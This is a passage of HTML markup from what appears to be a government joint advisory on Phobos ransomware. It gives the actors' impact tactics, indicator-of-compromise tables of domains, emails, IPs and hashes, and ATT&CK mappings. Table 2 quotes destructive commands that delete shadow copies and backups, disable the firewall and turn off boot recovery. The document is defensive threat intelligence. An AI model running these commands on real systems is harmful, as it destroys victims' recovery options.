typically archived as either a &lt;code&gt;.rar&lt;/code&gt; or &lt;code&gt;.zip&lt;/code&gt; file [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1560/" title="Archive Collected Data"&gt;T1560&lt;/a&gt;] to be later exfiltrated. They target legal documentation, financial records, technical documents (including network architecture), and databases for commonly used password management software [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1555/005/" title="Credentials from Password Stores: Password Managers"&gt;T1555.005&lt;/a&gt;].&lt;/p&gt;
  766. &lt;h4&gt;&lt;strong&gt;Impact&lt;/strong&gt;&lt;/h4&gt;
  767. &lt;p&gt;After the exfiltration phase, Phobos actors then hunt for backups. They use &lt;code&gt;vssadmin.exe&lt;/code&gt; and Windows Management Instrumentation command-line utility (WMIC) to discover and delete volume shadow copies in Windows environments. This prevents victims from recovering files after encryption has taken place [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1047/" title="Windows Management Instrumentation"&gt;T1047&lt;/a&gt;][&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1490/" title="Inhibit System Recovery"&gt;T1490&lt;/a&gt;].&lt;/p&gt;
  768. &lt;p&gt;&lt;code&gt;Phobos.exe&lt;/code&gt; contains functionality to encrypt all connected logical drives on the target host [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1486/" title="Data Encrypted for Impact"&gt;T1486&lt;/a&gt;]. Each Phobos ransomware executable has unique build identifiers (IDs), affiliate IDs, as well as a unique ransom note which is embedded in the executable. After the ransom note has populated on infected workstations, Phobos ransomware continues to search for and encrypt additional files.&lt;/p&gt;
  769. &lt;p&gt;Most extortion [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1657/" title="Financial Theft"&gt;T1657&lt;/a&gt;] occurs via email; however, some affiliate groups have used voice calls to contact victims. In some cases, Phobos actors have used onion sites to list victims and host stolen victim data. Phobos actors use various instant messaging applications such as ICQ, Jabber, and QQ to communicate [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1585/" title="Establish Accounts"&gt;T1585&lt;/a&gt;]. See Figure 2 for a list of email providers used by the following Phobos affiliates: Devos, Eight, Elbie, Eking, and Faust.[&lt;a href="https://blog.talosintelligence.com/understanding-the-phobos-affiliate-structure/" title="Understanding the Phobos affiliate structure and activity"&gt;6&lt;/a&gt;]&lt;/p&gt;
  770.  
  771.  
  772.  
  773. &lt;figure class="c-figure c-figure--image u-align-center" role="group"&gt;
  774.  
  775.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%201%20-%20Phobos%20Affiliate%20Providers%20List.png?itok=nQtK0JWW" width="632" height="377" alt="Figure 1: Phobos Affiliate Providers List"&gt;
  776.  
  777.  
  778.  
  779. &lt;/div&gt;
  780.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 1: &lt;/em&gt;&lt;a href="https://blog.talosintelligence.com/understanding-the-phobos-affiliate-structure/"&gt;&lt;em&gt;Phobos Affiliate Providers List&lt;/em&gt;&lt;/a&gt;&lt;/figcaption&gt;
  781.  &lt;/figure&gt;
  782. &lt;h3&gt;&lt;strong&gt;INDICATORS OF COMPROMISE (IOCs)&lt;/strong&gt;&lt;/h3&gt;
  783. &lt;p&gt;See Table 1 through 6 for IOCs obtained from CISA and the FBI investigations from September through November 2023.&lt;/p&gt;
  784. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  785. &lt;caption&gt;&lt;em&gt;Table 1: Associated Phobos Domains&lt;/em&gt;&lt;/caption&gt;
  786. &lt;thead&gt;
  787. &lt;tr&gt;
  788. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Associated Phobos Domains&lt;/strong&gt;&lt;/th&gt;
  789. &lt;/tr&gt;
  790. &lt;/thead&gt;
  791. &lt;tbody&gt;
  792. &lt;tr&gt;
  793. &lt;td&gt;adstat477d[.]xyz&lt;/td&gt;
  794. &lt;/tr&gt;
  795. &lt;tr&gt;
  796. &lt;td&gt;demstat577d[.]xyz&amp;nbsp;[&lt;a href="https://www.virustotal.com/gui/domain/demstat577d.xyz" title="Phobos Domain #1"&gt;12&lt;/a&gt;]&lt;/td&gt;
  797. &lt;/tr&gt;
  798. &lt;tr&gt;
  799. &lt;td&gt;serverxlogs21[.]xyz&lt;/td&gt;
  800. &lt;/tr&gt;
  801. &lt;/tbody&gt;
  802. &lt;/table&gt;
  803. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  804. &lt;caption&gt;&lt;em&gt;Table 2: Observed Phobos Shell Commands&lt;/em&gt;&lt;/caption&gt;
  805. &lt;thead&gt;
  806. &lt;tr&gt;
  807. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Shell Commands&lt;/strong&gt;&lt;/th&gt;
  808. &lt;/tr&gt;
  809. &lt;/thead&gt;
  810. &lt;tbody&gt;
  811. &lt;tr&gt;
  812. &lt;td&gt;vssadmin delete shadows /all /quiet [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1490/" title="Inhibit System Recovery"&gt;T1490&lt;/a&gt;]&lt;/td&gt;
  813. &lt;/tr&gt;
  814. &lt;tr&gt;
  815. &lt;td&gt;netsh advfirewall set currentprofile state off&lt;/td&gt;
  816. &lt;/tr&gt;
  817. &lt;tr&gt;
  818. &lt;td&gt;wmic shadowcopy delete&lt;/td&gt;
  819. &lt;/tr&gt;
  820. &lt;tr&gt;
  821. &lt;td&gt;netsh firewall set opmode mode=disable [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1562/004/" title="Impair Defenses: Disable or Modify System Firewall"&gt;T1562.004&lt;/a&gt;]&lt;/td&gt;
  822. &lt;/tr&gt;
  823. &lt;tr&gt;
  824. &lt;td&gt;bcdedit /set {default} bootstatuspolicy ignoreallfailures [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1547/001/" title="Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"&gt;T1547.001&lt;/a&gt;]&lt;/td&gt;
  825. &lt;/tr&gt;
  826. &lt;tr&gt;
  827. &lt;td&gt;bcdedit /set {default} recoveryenabled no [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1490/" title="Inhibit System Recovery"&gt;T1490&lt;/a&gt;]&lt;/td&gt;
  828. &lt;/tr&gt;
  829. &lt;tr&gt;
  830. &lt;td&gt;wbadmin delete catalog -quiet&lt;/td&gt;
  831. &lt;/tr&gt;
  832. &lt;tr&gt;
  833. &lt;td&gt;mshta C:\%USERPROFILE%\Desktop\info.hta [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1218/005/" title="System Binary Proxy Execution: Mshta"&gt;T1218.005&lt;/a&gt;]&lt;/td&gt;
  834. &lt;/tr&gt;
  835. &lt;tr&gt;
  836. &lt;td&gt;mshta C:\%PUBLIC%\Desktop\info.hta&lt;/td&gt;
  837. &lt;/tr&gt;
  838. &lt;tr&gt;
  839. &lt;td&gt;mshta C:\info.hta&lt;/td&gt;
  840. &lt;/tr&gt;
  841. &lt;/tbody&gt;
  842. &lt;/table&gt;
  843. &lt;p&gt;The commands above are observed during the execution of a Phobos encryption executable. A Phobos encryption executable spawns a &lt;code&gt;cmd.exe&lt;/code&gt; process, which then executes the commands listed in Table 1 with their respective Windows system executables. When the commands above are executed on a Windows system, volume shadow copies are deleted and Windows Firewall is disabled. Additionally, the system’s boot status policy is set to boot even when there are errors during the boot process, and automatic recovery options, like Windows Recovery Environment (WinRE), are disabled for the given boot entry. The system’s backup catalog is also deleted. Finally, the Phobos ransom note is displayed to the end user using &lt;code&gt;mshta.exe&lt;/code&gt;.&lt;/p&gt;
  844. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  845. &lt;caption&gt;&lt;em&gt;Table 3: Observed Phobos Registry Keys&lt;/em&gt;&lt;/caption&gt;
  846. &lt;thead&gt;
  847. &lt;tr&gt;
  848. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Registry Keys&lt;/strong&gt;&lt;/th&gt;
  849. &lt;/tr&gt;
  850. &lt;/thead&gt;
  851. &lt;tbody&gt;
  852. &lt;tr&gt;
  853. &lt;td&gt;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\&amp;lt;Phobos exe name&amp;gt;&lt;/td&gt;
  854. &lt;/tr&gt;
  855. &lt;tr&gt;
  856. &lt;td&gt;C:/Users\Admin\AppData\Local\directory&lt;/td&gt;
  857. &lt;/tr&gt;
  858. &lt;/tbody&gt;
  859. &lt;/table&gt;
  860. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  861. &lt;caption&gt;&lt;em&gt;Table 4: Observed Phobos Actor Email Addresses&lt;/em&gt;&lt;/caption&gt;
  862. &lt;thead&gt;
  863. &lt;tr&gt;
  864. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Email Addresses&lt;/strong&gt;&lt;/th&gt;
  865. &lt;th role="columnheader"&gt;&amp;nbsp;&lt;/th&gt;
  866. &lt;/tr&gt;
  867. &lt;/thead&gt;
  868. &lt;tbody&gt;
  869. &lt;tr&gt;
  870. &lt;td&gt;AlbetPattisson1981@protonmail[.]com&lt;/td&gt;
  871. &lt;td&gt;henryk@onionmail[.]org&lt;/td&gt;
  872. &lt;/tr&gt;
  873. &lt;tr&gt;
  874. &lt;td&gt;atomicday@tuta[.]io&lt;/td&gt;
  875. &lt;td&gt;info@fobos[.]one&lt;/td&gt;
  876. &lt;/tr&gt;
  877. &lt;tr&gt;
  878. &lt;td&gt;axdus@tuta[.]io&lt;/td&gt;
  879. &lt;td&gt;it.issues.solving@outlook[.]com&lt;/td&gt;
  880. &lt;/tr&gt;
  881. &lt;tr&gt;
  882. &lt;td&gt;barenuckles@tutanota[.]com&lt;/td&gt;
  883. &lt;td&gt;JohnWilliams1887@gmx[.]com&lt;/td&gt;
  884. &lt;/tr&gt;
  885. &lt;tr&gt;
  886. &lt;td&gt;Bernard.bunyan@aol[.]com&lt;/td&gt;
  887. &lt;td&gt;jonson_eight@gmx[.]us&lt;/td&gt;
  888. &lt;/tr&gt;
  889. &lt;tr&gt;
  890. &lt;td&gt;bill.g@gmx[.]com&lt;/td&gt;
  891. &lt;td&gt;joshuabernandead@gmx[.]com&lt;/td&gt;
  892. &lt;/tr&gt;
  893. &lt;tr&gt;
  894. &lt;td&gt;bill.g@msgsafe[.]io&lt;/td&gt;
  895. &lt;td&gt;LettoIntago@onionmail[.]com&lt;/td&gt;
  896. &lt;/tr&gt;
  897. &lt;tr&gt;
  898. &lt;td&gt;bill.g@onionmail[.]org&lt;/td&gt;
  899. &lt;td&gt;Luiza.li@tutanota[.]com&lt;/td&gt;
  900. &lt;/tr&gt;
  901. &lt;tr&gt;
  902. &lt;td&gt;bill.gTeam@gmx[.]com&lt;/td&gt;
  903. &lt;td&gt;MatheusCosta0194@gmx[.]com&lt;/td&gt;
  904. &lt;/tr&gt;
  905. &lt;tr&gt;
  906. &lt;td&gt;blair_lockyer@aol[.]com&lt;/td&gt;
  907. &lt;td&gt;mccreight.ellery@tutanota[.]com&lt;/td&gt;
  908. &lt;/tr&gt;
  909. &lt;tr&gt;
  910. &lt;td&gt;CarlJohnson1948@gmx[.]com&lt;/td&gt;
  911. &lt;td&gt;megaport@tuta[.]io&lt;/td&gt;
  912. &lt;/tr&gt;
  913. &lt;tr&gt;
  914. &lt;td&gt;cashonlycash@gmx[.]com&lt;/td&gt;
  915. &lt;td&gt;miadowson@tuta[.]io&lt;/td&gt;
  916. &lt;/tr&gt;
  917. &lt;tr&gt;
  918. &lt;td&gt;chocolate_muffin@tutanota[.]com&lt;/td&gt;
  919. &lt;td&gt;MichaelWayne1973@tutanota[.]com&lt;/td&gt;
  920. &lt;/tr&gt;
  921. &lt;tr&gt;
  922. &lt;td&gt;claredrinkall@aol[.]com&lt;/td&gt;
  923. &lt;td&gt;normanbaker1929@gmx[.]com&lt;/td&gt;
  924. &lt;/tr&gt;
  925. &lt;tr&gt;
  926. &lt;td&gt;clausmeyer070@cock[.]li&lt;/td&gt;
  927. &lt;td&gt;nud_satanakia@keemail[.]me&lt;/td&gt;
  928. &lt;/tr&gt;
  929. &lt;tr&gt;
  930. &lt;td&gt;colexpro@keemail[.]me&lt;/td&gt;
  931. &lt;td&gt;please@countermail[.]com&lt;/td&gt;
  932. &lt;/tr&gt;
  933. &lt;tr&gt;
  934. &lt;td&gt;cox.barthel@aol[.]com&lt;/td&gt;
  935. &lt;td&gt;precorpman@onionmail[.]org&lt;/td&gt;
  936. &lt;/tr&gt;
  937. &lt;tr&gt;
  938. &lt;td&gt;crashonlycash@gmx[.]com&lt;/td&gt;
  939. &lt;td&gt;recovery2021@inboxhub[.]net&lt;/td&gt;
  940. &lt;/tr&gt;
  941. &lt;tr&gt;
  942. &lt;td&gt;everymoment@tuta[.]io&lt;/td&gt;
  943. &lt;td&gt;recovery2021@onionmail[.]org&lt;/td&gt;
  944. &lt;/tr&gt;
  945. &lt;tr&gt;
  946. &lt;td&gt;expertbox@tuta[.]io&lt;/td&gt;
  947. &lt;td&gt;SamuelWhite1821@tutanota[.]com&lt;/td&gt;
  948. &lt;/tr&gt;
  949. &lt;tr&gt;
  950. &lt;td&gt;fastway@tuta[.]io&lt;/td&gt;
  951. &lt;td&gt;SaraConor@gmx[.]com&lt;/td&gt;
  952. &lt;/tr&gt;
  953. &lt;tr&gt;
  954. &lt;td&gt;fquatela@techie[.]com&lt;/td&gt;
  955. &lt;td&gt;secdatltd@gmx[.]com&lt;/td&gt;
  956. &lt;/tr&gt;
  957. &lt;tr&gt;
  958. &lt;td&gt;fredmoneco@tutanota[.]com&lt;/td&gt;
  959. &lt;td&gt;skymix@tuta[.]io&lt;/td&gt;
  960. &lt;/tr&gt;
  961. &lt;tr&gt;
  962. &lt;td&gt;getdata@gmx[.]com&lt;/td&gt;
  963. &lt;td&gt;sory@countermail[.]com&lt;/td&gt;
  964. &lt;/tr&gt;
  965. &lt;tr&gt;
  966. &lt;td&gt;greenbookBTC@gmx[.]com&lt;/td&gt;
  967. &lt;td&gt;spacegroup@tuta[.]io&lt;/td&gt;
  968. &lt;/tr&gt;
  969. &lt;tr&gt;
  970. &lt;td&gt;greenbookBTC@protonmail[.]com&lt;/td&gt;
  971. &lt;td&gt;stafordpalin@protonmail[.]com&lt;/td&gt;
  972. &lt;/tr&gt;
  973. &lt;tr&gt;
  974. &lt;td&gt;helperfiles@gmx[.]com&lt;/td&gt;
  975. &lt;td&gt;starcomp@keemail[.]me&lt;/td&gt;
  976. &lt;/tr&gt;
  977. &lt;tr&gt;
  978. &lt;td&gt;helpermail@onionmail[.]org&lt;/td&gt;
  979. &lt;td&gt;xdone@tutamail[.]com&lt;/td&gt;
  980. &lt;/tr&gt;
  981. &lt;tr&gt;
  982. &lt;td&gt;helpfiles@onionmail[.]org&lt;/td&gt;
  983. &lt;td&gt;xgen@tuta[.]io&lt;/td&gt;
  984. &lt;/tr&gt;
  985. &lt;tr&gt;
  986. &lt;td&gt;helpfiles102030@inboxhub[.]net&lt;/td&gt;
  987. &lt;td&gt;xspacegroup@protonmail[.]com&lt;/td&gt;
  988. &lt;/tr&gt;
  989. &lt;tr&gt;
  990. &lt;td&gt;helpforyou@gmx[.]com&lt;/td&gt;
  991. &lt;td&gt;zgen@tuta[.]io&lt;/td&gt;
  992. &lt;/tr&gt;
  993. &lt;tr&gt;
  994. &lt;td&gt;helpforyou@onionmail[.]org&lt;/td&gt;
  995. &lt;td&gt;zodiacx@tuta[.]io&lt;/td&gt;
  996. &lt;/tr&gt;
  997. &lt;/tbody&gt;
  998. &lt;/table&gt;
  999. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1000. &lt;caption&gt;&lt;em&gt;Table 5: Observed Phobos Actor Telegram Username&lt;/em&gt;&lt;/caption&gt;
  1001. &lt;thead&gt;
  1002. &lt;tr&gt;
  1003. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Telegram Username&lt;/strong&gt;&lt;/th&gt;
  1004. &lt;/tr&gt;
  1005. &lt;/thead&gt;
  1006. &lt;tbody&gt;
  1007. &lt;tr&gt;
  1008. &lt;td&gt;@phobos_support&lt;/td&gt;
  1009. &lt;/tr&gt;
  1010. &lt;/tbody&gt;
  1011. &lt;/table&gt;
  1012. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1013. &lt;caption&gt;&lt;em&gt;Table 6: Observed Phobos Actor Wickr Address&lt;/em&gt;&lt;/caption&gt;
  1014. &lt;thead&gt;
  1015. &lt;tr&gt;
  1016. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Wickr Address&lt;/strong&gt;&lt;/th&gt;
  1017. &lt;/tr&gt;
  1018. &lt;/thead&gt;
  1019. &lt;tbody&gt;
  1020. &lt;tr&gt;
  1021. &lt;td&gt;
  1022. &lt;ul&gt;
  1023. &lt;li&gt;Vickre me&lt;/li&gt;
  1024. &lt;/ul&gt;
  1025. &lt;/td&gt;
  1026. &lt;/tr&gt;
  1027. &lt;/tbody&gt;
  1028. &lt;/table&gt;
  1029. &lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; Organizations are encouraged to investigate the use of the IOCs in Table 7 for related signs of compromise prior to performing remediation actions.&lt;/p&gt;
  1030. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1031. &lt;caption&gt;&lt;em&gt;Table 7: Phobos IOCs from September through December 2023&lt;/em&gt;&lt;/caption&gt;
  1032. &lt;thead&gt;
  1033. &lt;tr&gt;
  1034. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Associated IP Address&lt;/strong&gt;&lt;/th&gt;
  1035. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;File Type&lt;/strong&gt;&lt;/th&gt;
  1036. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;File Name&lt;/strong&gt;&lt;/th&gt;
  1037. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;SHA 256 Hash&lt;/strong&gt;&lt;/th&gt;
  1038. &lt;/tr&gt;
  1039. &lt;/thead&gt;
  1040. &lt;tbody&gt;
  1041. &lt;tr&gt;
  1042. &lt;td&gt;194.165.16[.]4 (October 2023)&lt;/td&gt;
  1043. &lt;td&gt;Win32.exe&lt;/td&gt;
  1044. &lt;td&gt;Ahpdate.exe&amp;nbsp;[&lt;a href="https://www.virustotal.com/gui/file/0000599cbc6e5b0633c5a6261c79e4d3d81005c77845c6b0679d854884a8e02f" title="Phobos executable: Ahpdate.exe"&gt;13&lt;/a&gt;]&lt;/td&gt;
  1045. &lt;td&gt;0000599cbc6e5b0633c5a6261c79e4d3d81005c77845c6b0679d854884a8e02f&lt;/td&gt;
  1046. &lt;/tr&gt;
  1047. &lt;tr&gt;
  1048. &lt;td&gt;
  1049. &lt;p&gt;45.9.74[.]14 (December 2023)&lt;/p&gt;
  1050. &lt;p&gt;147.78.47[.]224 (December 2023)&lt;/p&gt;
  1051. &lt;/td&gt;
  1052. &lt;td&gt;Executable and Linkable Format (ELF)&amp;nbsp;[&lt;a href="https://www.virustotal.com/gui/file/7451be9b65b956ee667081e1141531514b1ec348e7081b5a9cd1308a98eec8f0" title="Phobos IP Address: ELF File"&gt;14&lt;/a&gt;]&lt;/td&gt;
  1053. &lt;td&gt;
  1054. &lt;p&gt;1570442295&lt;/p&gt;
  1055. &lt;p&gt;(Trojan Linux Mirai)&lt;/p&gt;
  1056. &lt;/td&gt;
  1057. &lt;td&gt;7451be9b65b956ee667081e1141531514b1ec348e7081b5a9cd1308a98eec8f0&lt;/td&gt;
  1058. &lt;/tr&gt;
  1059. &lt;tr&gt;
  1060. &lt;td&gt;185.202.0[.]111 (September 2023)&lt;/td&gt;
  1061. &lt;td&gt;Win32.exe&amp;nbsp;[&lt;a href="https://www.virustotal.com/gui/ip-address/185.202.0.111/relations%20Win32.exe%20file%20cobaltstrike_shellcode.exe%20last%20scanned%20September%202023" title="Phobos IP address: 185.202.0[.]111"&gt;15&lt;/a&gt;]&lt;/td&gt;
  1062. &lt;td&gt;cobaltstrike_shellcode[.]exe (C2 activity)&lt;/td&gt;
  1063. &lt;td&gt;&amp;nbsp;&lt;/td&gt;
  1064. &lt;/tr&gt;
  1065. &lt;tr&gt;
  1066. &lt;td&gt;185.202.0[.]111 (December 2023)&lt;/td&gt;
  1067. &lt;td&gt;.txt&amp;nbsp;[&lt;a href="https://www.virustotal.com/gui/file/f1425cff3d28afe5245459afa6d7985081bc6a62f86dce64c63daeb2136d7d2c" title="Phobos Gui File"&gt;16&lt;/a&gt;]&lt;/td&gt;
  1068. &lt;td&gt;f1425cff3d28afe5245459afa6d7985081bc6a62f86dce64c63daeb2136d7d2c.bin (Trojan)&lt;/td&gt;
  1069. &lt;td&gt;&amp;nbsp;&lt;/td&gt;
  1070. &lt;/tr&gt;
  1071. &lt;/tbody&gt;
  1072. &lt;/table&gt;
  1073. &lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; Organizations are encouraged to investigate the use of the file hashes in Tables 8 and 9 for related signs of compromise prior to performing remediation actions.&lt;/p&gt;
  1074. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1075. &lt;caption&gt;&lt;em&gt;Table 8: Phobos Actor File Hashes Observed in October 2023&lt;/em&gt;&lt;/caption&gt;
  1076. &lt;thead&gt;
  1077. &lt;tr&gt;
  1078. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Phobos Ransomware SHA 256 Malicious Trojan Executable File Hashes&lt;/strong&gt;&lt;/th&gt;
  1079. &lt;/tr&gt;
  1080. &lt;/thead&gt;
  1081. &lt;tbody&gt;
  1082. &lt;tr&gt;
  1083. &lt;td&gt;518544e56e8ccee401ffa1b0a01a10ce23e49ec21ec441c6c7c3951b01c1b19c&lt;/td&gt;
  1084. &lt;/tr&gt;
  1085. &lt;tr&gt;
  1086. &lt;td&gt;9215550ce3b164972413a329ab697012e909d543e8ac05d9901095016dd3fc6c&lt;/td&gt;
  1087. &lt;/tr&gt;
  1088. &lt;tr&gt;
  1089. &lt;td&gt;482754d66d01aa3579f007c2b3c3d0591865eb60ba60b9c28c66fe6f4ac53c52&lt;/td&gt;
  1090. &lt;/tr&gt;
  1091. &lt;tr&gt;
  1092. &lt;td&gt;c0539fd02ca0184925a932a9e926c681dc9c81b5de4624250f2dd885ca5c4763&lt;/td&gt;
  1093. &lt;/tr&gt;
  1094. &lt;/tbody&gt;
  1095. &lt;/table&gt;
  1096. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1097. &lt;caption&gt;&lt;em&gt;Table 9: Phobos Actor File Hashes from Open Source from November 2023 [&lt;/em&gt;&lt;a href="https://github.com/Cisco-Talos/IOCs/blob/main/2023/11/deep-dive-into-phobos-ransomware.txt" title="Cisco-Talos / IOCs"&gt;&lt;em&gt;17&lt;/em&gt;&lt;/a&gt;&lt;em&gt;]&lt;/em&gt;&lt;/caption&gt;
  1098. &lt;thead&gt;
  1099. &lt;tr&gt;
  1100. &lt;th role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Phobos Ransomware SHA 256 File Hashes&lt;/strong&gt;&lt;/th&gt;
  1101. &lt;/tr&gt;
  1102. &lt;/thead&gt;
  1103. &lt;tbody&gt;
  1104. &lt;tr&gt;
  1105. &lt;td&gt;58626a9bfb48cd30acd0d95debcaefd188ae794e1e0072c5bde8adae9bccafa6&lt;/td&gt;
  1106. &lt;/tr&gt;
  1107. &lt;tr&gt;
  1108. &lt;td&gt;f3be35f8b8301e39dd3dffc9325553516a085c12dc15494a5e2fce73c77069ed&lt;/td&gt;
  1109. &lt;/tr&gt;
  1110. &lt;tr&gt;
  1111. &lt;td&gt;518544e56e8ccee401ffa1b0a01a10ce23e49ec21ec441c6c7c3951b01c1b19c&lt;/td&gt;
  1112. &lt;/tr&gt;
  1113. &lt;tr&gt;
  1114. &lt;td&gt;32a674b59c3f9a45efde48368b4de7e0e76c19e06b2f18afb6638d1a080b2eb3&lt;/td&gt;
  1115. &lt;/tr&gt;
  1116. &lt;tr&gt;
  1117. &lt;td&gt;2704e269fb5cf9a02070a0ea07d82dc9d87f2cb95e60cb71d6c6d38b01869f66&lt;/td&gt;
  1118. &lt;/tr&gt;
  1119. &lt;tr&gt;
  1120. &lt;td&gt;fc4b14250db7f66107820ecc56026e6be3e8e0eb2d428719156cf1c53ae139c6&lt;/td&gt;
  1121. &lt;/tr&gt;
  1122. &lt;tr&gt;
  1123. &lt;td&gt;a91491f45b851a07f91ba5a200967921bf796d38677786de51a4a8fe5ddeafd2&lt;/td&gt;
  1124. &lt;/tr&gt;
  1125. &lt;/tbody&gt;
  1126. &lt;/table&gt;
  1127. &lt;h3&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK TECHNIQUES&lt;/strong&gt;&lt;/h3&gt;
  1128. &lt;p&gt;See Table 10 through 22 for all threat actor tactics and techniques referenced in this advisory.&lt;/p&gt;
  1129. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1130. &lt;caption&gt;&lt;em&gt;Table 10: Phobos Threat Actors ATT&amp;amp;CK Techniques for Enterprise – Reconnaissance&lt;/em&gt;&lt;/caption&gt;
  1131. &lt;thead&gt;
  1132. &lt;tr&gt;
  1133. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  1134. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  1135. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  1136. &lt;/tr&gt;
  1137. &lt;/thead&gt;
  1138. &lt;tbody&gt;
  1139. &lt;tr&gt;
  1140. &lt;td&gt;Search Open Websites/Domains&lt;/td&gt;
  1141. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1593/" title="Search Open Websites/Domains"&gt;T1593&lt;/a&gt;&lt;/td&gt;
  1142. &lt;td&gt;Phobos actors perform open source research to find information about victims that can be used during targeting to create a victim profile.&lt;/td&gt;
  1143. &lt;/tr&gt;
  1144. &lt;tr&gt;
  1145. &lt;td&gt;Scanning IP Blocks&lt;/td&gt;
  1146. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1595/001/" title="Scanning IP Blocks"&gt;T1595.001&lt;/a&gt;&lt;/td&gt;
  1147. &lt;td&gt;Phobos actors used IP scanning tools to include Angry IP Scanner to search for vulnerable RDP ports.&lt;/td&gt;
  1148. &lt;/tr&gt;
  1149. &lt;tr&gt;
  1150. &lt;td&gt;Phishing for Information&lt;/td&gt;
  1151. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1598/" title="Phishing for Information"&gt;T1598&lt;/a&gt;&lt;/td&gt;
  1152. &lt;td&gt;Phobos actors use phishing campaigns to social engineer information from users and gain access to vulnerable RDP ports.&lt;/td&gt;
  1153. &lt;/tr&gt;
  1154. &lt;/tbody&gt;
  1155. &lt;/table&gt;
  1156. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1157. &lt;caption&gt;&lt;em&gt;Table 11: Phobos Threat Actors ATT&amp;amp;CK Techniques for Enterprise – Resource Development&lt;/em&gt;&lt;/caption&gt;
  1158. &lt;thead&gt;
  1159. &lt;tr&gt;
  1160. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  1161. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  1162. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  1163. &lt;/tr&gt;
  1164. &lt;/thead&gt;
  1165. &lt;tbody&gt;
  1166. &lt;tr&gt;
  1167. &lt;td&gt;Establish Accounts&lt;/td&gt;
  1168. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1585/" title="Establish Accounts"&gt;T1585&lt;/a&gt;&lt;/td&gt;
  1169. &lt;td&gt;Phobos actors establish accounts to communicate.&lt;/td&gt;
  1170. &lt;/tr&gt;
  1171. &lt;tr&gt;
  1172. &lt;td&gt;Obtain Capabilities: Tool&lt;/td&gt;
  1173. &lt;td&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1588/002/" title="Obtain Capabilities: Tool"&gt;T1588.002&lt;/a&gt;&lt;/td&gt;
  1174. &lt;td&gt;Phobos actors used open source tools in their attack.&lt;/td&gt;
  1175. &lt;/tr&gt;
  1176. &lt;/tbody&gt;
  1177. &lt;/table&gt;
  1178. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  1179. &lt;caption&gt;&lt;em&gt;Table 12: Phobos Threat Actors ATT&amp;amp;CK Techniques for Enterprise – Initial Access&lt;/em&gt;&lt;/caption&gt;
  1180. &lt;thead&gt;
  1181. &lt;tr&gt;
  1182. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
